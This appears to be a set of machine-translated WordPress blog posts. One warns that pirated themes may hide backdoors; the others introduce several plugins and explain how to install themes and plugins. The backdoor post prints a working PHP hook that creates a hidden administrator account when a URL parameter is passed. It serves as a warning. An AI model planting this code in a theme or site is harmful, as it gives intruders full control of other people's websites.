Be careful! Pirate theme may have a back door

WordPress In addition to a large number of official themes, there are a large number of theme designers to publish free and charge topics, many children’s shoes often collect the theme to get back to use the test, some of which will be collected by foreign experts to fill the theme of commercial changes, add Dark chain, advertising, and even malicious code, and then free or paid public release, to induce others to download and use, to achieve ulterior motives. In addition, these commercial charges are generally the subject of the test version, the subject code is not perfect, the function is missing, individual test version of the commercial theme is enabled after the database will automatically write a lot of data …….

The following code is more evil and can automatically add a role for the admin user.

  1. add_action(‘wp_head’, ‘holeinthewall’);
  2. function holeinthewall() {
  3.         If ($_GET[‘backdoor’] == ‘go’) {
  4. require(‘wp-includes/registration.php’);
  5.                 If (!username_exists(‘username’)) {
  6. $user_id = wp_create_user(‘username’, ‘password’);
  7. $user = new WP_User($user_id);
  8. $user->set_role(‘administrator’);
  9.                 }
  10.         }
  11. }

Add the code to your current theme functions.php file or plugin, will automatically create a user name: username password: password administrator who have the authority, then want to do anything.

So, here advise you still do not use their own site pirated themes and plug-ins, as far as possible to the official or original publishing site to download the theme, so as not to be opened the back door is not known!

WordPress Music Player Plugin WP-Player v2.0

online preview


WP-Player introduction

The upgrade has undergone an overall major restructuring of the page music player js, background MetaBox input method, plug-in structure and so on.

  • Rewritten the method to obtain shrimp ID; directly enter the URL to obtain shrimp ID and the corresponding music type;
  • Support single music page, album page, artist page, featured page (you can also create your own collection);
  • Supports multi-song playback; fully compatible with previous old versions of short codes;
  • Perfect support IE6+, FireFox, Chrome browser;
  • Discard the loop parameter in the short code;
  • Handle the address of the shrimp shrimp to the plug-in itself.
  • Turn off background useless option settings;
  • Support background custom upload music files or music links;

Use method area

  1. Open the favorite song page in the shrimp net, copy the song page URL:……
  2. And copy the URL into the WP-Player form. The music type will automatically choose based on the URL.
  3. Click the Get Music ID button, and the music ID appears in the form.
  4. Fill in the content of your article with the short code [player autoplay=”1′′].
  5. In the short code, autoplay indicates whether to play automatically; parameter “0” indicates no; “1” indicates yes;
  6. PS: It is recommended to use the URL to get the music ID.

Plug-in dependency area

  1. Require jQuery 1.7+ repository, if the version of jQuery used by the theme is too low, please upgrade to 1.7+ version.
  2. The current host is required to support the PHP simplexml_load_file() function, which is used to grab shrimp music data.
  3. If the v2.0.1 version is not supported by the host, Sina Cloud resolution will be used.

Precautions area

  1. Only one player can be set in an article.
  2. For user experience, it will only be enabled if it is automatically played in the article detail page. Home and lister settings will be useless.
  3. Because plug-ins need to rely on jQuery, such as the lack of jQuery topics; need to be selected in the background WP-Player settings;
  4. If both the shrimp ID and the custom upload music are set, the shrimp ID analysis will be preferentially used.

Plug-in download area

  1. Manage via WordPress background plugin => Install plugin => Search plugin => WP-Player => Click to install plugin
  2. Official website download Upload Plugin => Install Plugin

Shrimp ID acquisition area

  1. Single song URL, the general URL will contain **song** characters;
  2. Album page URL, the general URL will contain **album** characters;
  3. Artist page URL, the general URL will contain **artist** characters;
  4. Featured collection page, the general URL will contain **collect** characters;
  5. With regard to the production of the collection of shrimp and rice, it must be set to be visible to everyone at the time of production so that the song list can be obtained;

Developer Zone

  1. Because of the performance of plugin loading, the code in the plugin is all compressed.
  2. The source code I hosted on GitHub, please refer to
  3. Audio playback is managed with SoundManager2, and the GitHub project is Star.

About feedback

  1. Author: M.J
  2. Blog message:
  3. Microblogging message:


Downgrade WordPress to Old Versions Online with WP Downgrade

We all know that whenever WordPress has new books, we can update them one-click in the background. But sometimes, our theme or plug-in may not be compatible with the new version of WP. At this time, if we want to downgrade to the previous old version, what should we do? Take a look below.

Important note: Regardless of upgrade or downgrade, before operating, please be sure to back up your website data, especially the website database, just in case!

Online downgrade

The so-called online downgrade is the same as updating the new version with a key. However, we need to use the WP Downgrade plug-in to implement it, so we must first install and enable WP Downgrade. Then access the Settings – WP Downgrade menu and set the version we want to downgrade.

For example, if you want to demote from 4.7 down to 4.6.1, you can fill in 4.6.1 according to the figure below, and then click “Save Changes”:

You can visit this page to check the WordPress version information:

Pay attention to the red information at the bottom of the figure: 4.6.1 The download link does not exist for Simplified Chinese. At this time, we can access Settings – General, change the language to English, and save it:

Then visit the Dashboard – Updates interface and click on “RE-install Now” to start the reinstallation of the old version specified:

Don’t worry about language problems. After installing the original English version, our language pack files will not be lost!

After installation, we will visit the Settings – General interface and change the language to Simplified Chinese. After saving, you can see the previous Simplified Chinese interface!

Well, that’s it! If everything is OK, you can uninstall the WP Downgrade plugin.

Use Postie to post articles to WordPress via email

I believe many of my friends do not know that we can actually post articles to WordPress via email. In the Dashboard- settings – compose interface, you can see the setting options:

But today’s protagonist is not this, but Postie, it is very powerful to extend the function of mail posting. Postie provides many advanced features for creating articles by mail, including assigning categories by name, including pictures and videos, and automatically stripping signatures. Supports IMAP and POP3, as well as SSL communication.

Postie main features:

  • Supports IMAP or POP3 servers
  • Supports SSL and TLS
  • Control who can publish via email
  • Set the category, status, article format, article type and label defaults
  • Set title, category, status, article format, article type, date, comment control, and email to override default tags
  • Specify article summary (including excerpts only for images)
  • Use an HTML version of plain text or email
  • Remove email headers and footers (useful for posting from mailing lists)
  • Optionally send email when article posting is successful/failure
  • Can be set by adding the file name (wildcard support) and MIME type file type
  • Optionally make the first image as a featured image
  • Gallery support
  • Plain text email controls image position
  • Set image templates, video templates, audio templates, and other attachment templates as needed
  • E-mail Reply Become a Comment
  • Developers can also handle emails based on hooks

Search for Postie in the background plug-in installation interface and install it online, or manually after downloading Postie.

Use Download Info Page for WordPress to add download transfer page

Seeing that some WordPress software stations have a download relay page, is it cool? Actually using the Download Info Page plug-in can be implemented.

Download Info Page Introduction

The Download Info Page plug-in allows the webmaster to fill in the resource’s file name, download address, download password (generally a share password for the web disk), file version, file format, file size, etc. when writing the resource class article.

When you complete the article after completing the resource information, the plug-in will create a download button at the bottom of the article. The reader clicks the download button will automatically jump to the download page generated by the plug-in for the resource.

Before using the Download Info Page plug-in, you first need to “WordPress background – plug-ins – installed plug-ins”, find the plug-in Download Info Page, click Start; then click “Settings” or through “WordPress Background – Plug-in – DIP Settings” Plug-in configuration:

  1. Basic settings: Used to set the domain name address of the relay page. If not, the default domain name address is the same as that of the blog. You can also use the second level domain name or other domain name address of the blog address. You need to log in to the domain name management to resolve to the blog host IP address.
  2. Relay page ad settings: The transit page has a total of four ad slots, which can be inserted into the Google ad network ads Google AdSense, Baidu Union, Ali mother advertising alliance website ad code. Note that be sure to insert the ad and set the interface description of the ad size, otherwise there will be transfer page layout misplaced, ad code insertion please read the corresponding help article.
  3. Advanced settings: Including transit page related article code settings (recommended to use Baidu recommendation), transit page data statistics code, custom article page download information section CSS style, custom article page download information section template html template, custom transit page CSS style and Customize the relay page JS code. Note that advanced settings require the user to have a certain understanding of the web page code, please read the help of the setup interface carefully before setting.

The main purpose of the plug-in is to (1) facilitate the webmaster to manage the downloaded resource information in more detail; (2) to increase the resource revenue of the resource blog (the ad space of the relay page is optimized, which can effectively improve the conversion of the advertising space. Rate and click rate)

Download Info Page Download

You can search for Download Info Page on the control panel plug-in installation interface to install online


WordPress Beginner Part10 — Install themes and plugins

The power of WordPress is, to a large extent, due to its good extension and numerous themes and plug-in support. Today, Meng Meng will briefly introduce WordPress installation theme and plug-in methods.

WordPress installation theme

WordPress can be installed via 3 common installation methods

Method One: Online Search Installation

Access Background – Appearance – Themes – Install Themes, Enter Subject Keywords, Search

Browse search results for installation

Note: The topics that are searched here are the themes that the theme author submitted to the WordPress theme library. Experience tells us that for domestic users, it is difficult to quickly find the theme we want here, so it is generally not recommended unless you want to The theme has already been submitted to the theme library.

Method two: upload the theme file to install online

This is a more versatile method, provided that the theme package must be packaged in .zip format. In the background – Appearance – Themes – Install Topics – Upload, select the theme package, then install

Successful installation is as follows

Method 3: Upload Topics via FTP

If you can’t install the theme by the above method, you can connect to the host space via FTP, then go to the /wp-content/theme directory of the website and upload the locally unzipped theme file here.

Enable and manage topics

After installing the theme, visit the background – Appearance – theme, you can see the theme just installed, you can view the “Details”, “Preview” or “Enabled” theme. If you want to change the theme, you can also enable new topics here.

After you enable the theme, you may need to further set the theme. Different topics require different settings, so this is not demonstrated here.

WordPress Install Plugin

Installing plug-ins is similar to installing themes, but there are also 3 commonly used methods:

Method One: Online Search Installation

Access background – plugins – install plugins, enter keyword search

Browse search results for installation

Note: It is generally recommended to install plug-ins that have been submitted to the WordPress plug-in library, and it has been recently updated (it is recommended not to install plug-ins that have not been updated for more than 2 years)

Method two: Upload and install plugins online

Access Background – Plugins – Install Plugins – Upload, select the plugin package in native .zip format

Method 3: Upload and Install Through FTP

If there is no way to install through the above method, you can connect to the host space via FTP, extract the created package, and upload it to the /wp-content/plugins directory:

Enable and manage plugins

After the plug-in is installed, access the background – plug-ins – installed plug-ins, you can enable the plug-in

You can also disable disabled plugins here

Note: Some plug-ins need to be set up after the relevant settings, each plug-in settings options are not the same, this is not demonstrated.

Well, the above is the basic operation of installing WordPress themes and plug-ins. Have you learned?


Read other articles in this series:

WordPress Beginner Part1 — what is wordpress?

WordPress Beginner Part2 — What are the conditions for building a WordPress site?

WordPress Beginner Part3 — How to install WordPress

WordPress Beginner Part4 — WordPress basic settings

WordPress Beginner Part5 — Create and manage article categories

WordPress Beginner Part6 — Little-known background “small private”

WordPress Beginner Part7 — publishing new articles and article management

WordPress Beginner Part8 — New page and management page

WordPress Beginner Part9 — Set up the navigation menu

WordPress Beginner Part10 — Install themes and plugins